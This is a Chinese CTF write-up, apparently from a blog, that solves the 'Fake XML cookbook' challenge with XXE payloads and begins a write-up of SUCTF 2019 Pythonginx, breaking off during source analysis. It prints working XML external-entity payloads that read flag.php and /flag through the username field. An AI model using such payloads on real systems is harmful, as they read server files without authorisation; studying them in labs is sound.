Fake-XML-cookbook

1、概览题目

打开题目看到一个登录框,结合题目Fake XML cookbook,查找Xml有关的知识点

1

CTF中关于XXE(XML外部实体注入)题目两道 - TQing - 博客园 (cnblogs.com)

将上述链接的例子研究过后,发现可以利用全局定义的实体进行将伪协议利用实体解析执行的一个效果

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> ]>
<user>
<username>
&xxe;
</username>
<password>
admin
</password>
</user>
#可以看到它将xxe这个实体放入username 中使得上面定义的命令被执行,具体的原理可以看下面的链接

一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区 (aliyun.com)

NCTF2019]Fake(True) XML cookbook———jarvisoj的API调用_Zero_Adam的博客-CSDN博客

2、抓包注入

既然了解了他的原理,那就可以进行实际的操作。

先用BP抓包

2

从“1”可以看到是一个xml的类型,然后“2”的位置是我们输入的内容

3、获取flag

从前面的链接,我们可以执行伪协议进行读取

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY aaa SYSTEM "file:///flag"> ]>#file伪协议读取文件
<user>
<username>
&aaa;
</username>
<password>
1111
</password>
</user>

3

[SUCTF 2019]Pythonginx

1、概览题目

1

可以看到是一个登录框和一大段的代码,整理一下可以得到大概的一个代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import urllib.parse as parse
import urllib
def getUrl():
url = "http://suctf.cc "
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(parse.urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost) #去掉 url 中的空格
finalUrl = parse.urlunsplit(parts).split(' ')[0]
print(finalUrl)
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
print(1)
else:
return "我扌 your problem? 333"

2、分析源码

可以看到大概的意思是绕过前两个if,从而在第三个if中读取对应的文件